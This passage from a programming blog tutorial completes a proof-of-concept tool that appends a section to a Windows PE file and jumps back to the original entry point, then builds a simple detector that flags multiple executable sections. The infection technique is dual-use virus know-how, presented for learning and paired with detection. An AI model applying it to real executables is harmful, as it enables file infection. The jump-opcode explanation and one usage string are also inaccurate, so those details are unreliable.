class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>I suppose the jump instruction might require some explanation. If I didn&amp;rsquo;t screw anything up (as I&amp;rsquo;m writing this from memory, equipped with Google), opcode &lt;code>0xE9&lt;/code> should be a 5-byte instruction that takes in a 4-byte signed integer and adds it to the instruction pointer before executing the next instruction. It&amp;rsquo;s x86&amp;rsquo;s &amp;ldquo;short jump&amp;rdquo; (as opposed to x86_64 &amp;ldquo;long jump&amp;rdquo;) from the next instruction that the processor would execute to the original entry point. It&amp;rsquo;s just some assembly magic, don&amp;rsquo;t worry about it if you don&amp;rsquo;t understand it.&lt;/p>
&lt;p>And Voilà! Everything is done now!&lt;/p>
&lt;p>Of course, proper viruses would also at the very least adjust the file checksum in the optional header (since not doing that might trigger warnings/errors), but &amp;ldquo;real-life virus activities&amp;rdquo; are beyond the scope of this article.&lt;/p>
&lt;p>Although this is just a small proof-of-concept and we can skip most error checking in &lt;code>fopen&lt;/code>, magic number validation, etc. (except if you&amp;rsquo;re writing this in rust, good job on picking up the one language that forbids you from quickly writing a small program), we&amp;rsquo;re also good programmers and remember to close everything we opened:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-C" data-lang="C">&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fclose&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">input&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fclose&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">code&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fclose&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">data&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fclose&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">output&lt;/span>&lt;span class="p">);&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>To cross-compile this program from linux to windows, we&amp;rsquo;ll need &lt;a href="https://en.wikipedia.org/wiki/MinGW"target="_blank" rel="noopener">MinGW&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$: x86_64-w64-mingw32-gcc -o add-section.exe add-section.c&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>We can run it using wine (&amp;ldquo;Wine Is Not an Emulator&amp;rdquo;, a windows-API-to-posix compatibility layer):&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">$: &lt;span class="nb">echo&lt;/span> &lt;span class="s2">&amp;#34;Hello, World!&amp;#34;&lt;/span> &amp;gt; code
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$: &lt;span class="nb">echo&lt;/span> &lt;span class="s2">&amp;#34;This is the data section&amp;#34;&lt;/span> &amp;gt; data
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$: wine ./add-section.exe add-section.exe code data suspicious-file.exe&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>In a real setting, the &lt;code>code&lt;/code> and &lt;code>data&lt;/code> would not be read from files, and would not (most likely) be text. &lt;code>code&lt;/code> would come either from a compiled function or &lt;code>nasm&lt;/code> (assembled machine code), and &lt;code>data&lt;/code> would be anything and everything the virus needs to run (though some &amp;ldquo;shellcodes&amp;rdquo; can avoid having external &amp;ldquo;data&amp;rdquo;).&lt;/p>
&lt;h3>Simple virus detector&lt;span class="hx:absolute hx:-mt-20" id="simple-virus-detector">&lt;/span>
&lt;a href="#simple-virus-detector" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>In this part, we&amp;rsquo;ll write a &amp;ldquo;virus detector&amp;rdquo; that will scan a file, display information about its sections, and warn us if it might have been modified by the previous &lt;code>add-section.exe&lt;/code>. We&amp;rsquo;ll reuse some code from the previous program, so I&amp;rsquo;ll skip explaining it:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-C" data-lang="C">&lt;span class="line">&lt;span class="cl">&lt;span class="kt">void&lt;/span> &lt;span class="nf">print_sections&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">char&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">filename&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">FILE&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">file&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">fopen&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">filename&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;r+b&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IMAGE_DOS_HEADER&lt;/span> &lt;span class="n">dos_header&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fread&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">dos_header&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="k">sizeof&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">dos_header&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">file&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fseek&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">file&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">dos_header&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">e_lfanew&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">SEEK_SET&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IMAGE_FILE_HEADER&lt;/span> &lt;span class="n">file_header&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IMAGE_OPTIONAL_HEADER32&lt;/span> &lt;span class="n">optional_header&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fread&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">file_header&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="k">sizeof&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">file_header&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">file&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fread&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">optional_header&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="k">sizeof&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">optional_header&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">file&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IMAGE_SECTION_HEADER&lt;/span> &lt;span class="n">section_header&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">int&lt;/span> &lt;span class="n">argc&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">char&lt;/span>&lt;span class="o">*&lt;/span> &lt;span class="n">argv&lt;/span>&lt;span class="p">[])&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">argc&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;Usage: %s &amp;lt;&amp;#34;&lt;/span>&lt;span class="n">scan&lt;/span>&lt;span class="s">&amp;#34; target&amp;gt;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">argv&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">print_sections&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">argv&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>This program will be quite simple: it will iterate through all the sections, display informations about them, and check if they are executable. If two or more executable sections are found, it&amp;rsquo;ll also display an additional alert. We can do most of that with just a few lines of code:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-C" data-lang="C">&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">unsigned&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="n">executable_sections&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IMAGE_SECTION_HEADER&lt;/span> &lt;span class="n">section_header&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">unsigned&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">file_header&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">NumberOfSections&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="o">++&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fread&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">section_header&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="k">sizeof&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">section_header&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">file&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">section_header&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Characteristics&lt;/span> &lt;span class="o">&amp;amp;&lt;/span> &lt;span class="mh">0x20000000&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span> &lt;span class="cm">/* IMAGE_SCN_MEM_EXECUTE */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">++&lt;/span>&lt;span class="n">executable_sections&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">display_section&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">section_header&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>We can quickly add a warning message at the end of this &lt;code>for&lt;/code> loop to finish this function:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-C" data-lang="C">&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">executable_sections&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;WARNING: %u executable sections found. This file might have been tampered with&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">executable_sections&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>I suppose I should mention that while normal executables do usually have only one executable section (&lt;code>&amp;quot;.text&amp;quot;&lt;/code>), sometimes legitimate files might have more. I&amp;rsquo;ll leave finding examples of such files as an exercise for the reader.&lt;/p>
&lt;p>For that exact reason, this warning will display when &amp;ldquo;scanning&amp;rdquo; some infected files (since there would be 2+ executable sections), but it might also trigger false positives.&lt;/p>
&lt;p>Now, we can write the &lt;code>display_section&lt;/code> function:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-C" data-lang="C">&lt;span class="line">&lt;span class="cl">&lt;span class="kt">void&lt;/span> &lt;span class="nf">display_section&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">IMAGE_SECTION_HEADER&lt;/span> &lt;span class="n">section&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;SECTION: %s&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">section&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Name&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\t&lt;/span>&lt;span class="s">Virtual addr: %u&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">unsigned&lt;/span> &lt;span class="kt">int&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="n">section&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">VirtualAddress&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\t&lt;/span>&lt;span class="s">Virtual size: %u&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">unsigned&lt;/span> &lt;span class="kt">int&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="n">section&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Misc&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">VirtualSize&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\t&lt;/span>&lt;span class="s">Characteristics: 0&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">section&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Characteristics&lt;/span> &lt;span class="o">&amp;amp;&lt;/span> &lt;span class="mh">0x00000020&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34; | IMAGE_SCN_CNT_CODE&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">section&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Characteristics&lt;/span> &lt;span class="o">&amp;amp;&lt;/span> &lt;span class="mh">0x00000040&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34; | IMAGE_SCN_CNT_INITIALIZED_DATA&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">section&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Characteristics&lt;/span> &lt;span class="o">&amp;amp;&lt;/span> &lt;span class="mh">0x00000080&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34; | IMAGE_SCN_CNT_UNINITIALIZED_DATA&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">section&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Characteristics&lt;/span> &lt;span class="o">&amp;amp;&lt;/span> &lt;span class="mh">0x10000000&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34; | IMAGE_SCN_MEM_SHARED&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">section&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Characteristics&lt;/span> &lt;span class="o">&amp;amp;&lt;/span> &lt;span class="mh">0x20000000&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34; | IMAGE_SCN_MEM_EXECUTE&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">section&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Characteristics&lt;/span> &lt;span class="o">&amp;amp;&lt;/span> &lt;span class="mh">0x40000000&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34; | IMAGE_SCN_MEM_READ&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">section&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Characteristics&lt;/span> &lt;span class="o">&amp;amp;&lt;/span> &lt;span class="mh">0x80000000&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34; | IMAGE_SCN_MEM_WRITE&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
